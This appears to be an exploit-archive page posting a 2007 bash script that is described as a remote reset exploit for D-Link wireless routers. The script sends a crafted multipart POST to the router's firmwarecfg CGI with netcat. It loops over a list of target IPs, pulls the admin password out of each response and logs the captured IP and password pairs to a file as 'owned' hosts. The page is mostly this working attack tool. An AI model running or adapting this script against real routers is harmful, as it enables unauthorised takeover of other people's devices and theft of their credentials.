exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

dlink.txt

dlink.txt
Posted Dec 18, 2007
Authored by Ph3mt

Remote reset exploit for the D-Link Wireless Router.

tags | exploit, remote
SHA-256 | 4bfa487aad947f3449803fa97e7cce9142e7131db6117065bce0eaa83222a2f2

dlink.txt

Change Mirror Download
# !/bin/bash
# Coded Bt Ph3mt Of K-Security Team
# This Code is private, pls do not redistribute
# Release Date 25/11/2007
# Code

function dow {
echo 'POST /cgi-bin/firmwarecfg HTTP/1.1' >> richiesta
echo 'Host: $IP' >> richiesta
echo 'User-Agent: veryprivateacsor' >> richiesta
echo 'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5' >> richiesta
echo 'Accept-Language: en-us,en;q=0.5' >> richiesta
echo 'Accept-Encoding: gzip,deflate' >> richiesta
echo 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' >> richiesta
echo 'Keep-Alive: 300' >> richiesta
echo 'Connection: keep-alive' >> richiesta
echo 'Content-Type: multipart/form-data; ' >> richiesta
echo 'boundary=---------------------------41184676334' >> richiesta
echo 'Content-Length: 234' >> richiesta
echo '' >> richiesta
echo '-----------------------------41184676334' >> richiesta
echo 'Content-Disposition: form-data; name="config.x"' >> richiesta
echo '' >> richiesta
echo '' >> richiesta
echo '-----------------------------41184676334' >> richiesta
echo 'Content-Disposition: form-data; name="config.y"' >> richiesta
echo '' >> richiesta
echo '' >> richiesta
echo '-----------------------------41184676334--' >> richiesta
echo ' ' >> richiesta
}

function req {
cat richiesta | nc $IP 80 -w 5 | grep password > $IP.config.xml
clean="`awk -F '<' '{print $54 }' $IP.config.xml | cut -d '>' -f2 | cut -d ' ' -f1`"
if [ `wc -c $IP.config.xml | cut -c1` != 0 ]; then
echo -e "\033[1;32m 0wn3d ;] \033[1;37m $IP:$clean \033[0m"
echo $IP:$clean >> 0wNz
rm $IP.config.xml
else echo -e "\033[1;31m $IP Patchato... \033[0m"
rm $IP.config.xml
fi
}

function logo {
echo -e "\033[1;37m*************************************************************************"
echo -e "\033[1;34m| |/ _| / _____/ ____ ____ __ _________|__|/ |_ ___.__.\033[0m"
echo -e "\033[1;34m| < ______ \_____ \_/ __ \_/ ___\| | \_ __ \ \ __< | |\033[0m"
echo -e "\033[1;34m| | \ /_____/ / \ ___/\ \___| | /| | \/ || | \___ |\033[0m"
echo -e "\033[1;34m|____|__ \ /_______ /\___ >\___ >____/ |__| |__||__| / ____|\033[0m"
echo -e "\033[1;34m \/ \/ \/ \/ \/ \033[0m"
echo -e "\033[1;37m*************************************************************************"
echo ""
echo "D-Link Config Reset Exploit By Ph3mt Avviato ;] Attendi..."
}

if [ -z "$1" ]; then
echo -e "\033[1;37m*************************************************************************"
echo -e "\033[1;34m| |/ _| / _____/ ____ ____ __ _________|__|/ |_ ___.__.\033[0m"
echo -e "\033[1;34m| < ______ \_____ \_/ __ \_/ ___\| | \_ __ \ \ __< | |\033[0m"
echo -e "\033[1;34m| | \ /_____/ / \ ___/\ \___| | /| | \/ || | \___ |\033[0m"
echo -e "\033[1;34m|____|__ \ /_______ /\___ >\___ >____/ |__| |__||__| / ____|\033[0m"
echo -e "\033[1;34m \/ \/ \/ \/ \/ \033[0m"
echo -e "\033[1;37m*************************************************************************"
echo ""
echo "D-Link Config Reset Exploit By Ph3mt ;]"
echo "Usage ./dlink <Lista|Ip>"
else

logo
for LINE in `cat $1`; do IP=`echo $LINE |cut -d ":" -f1`; dow; req; rm richiesta; done

fi

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close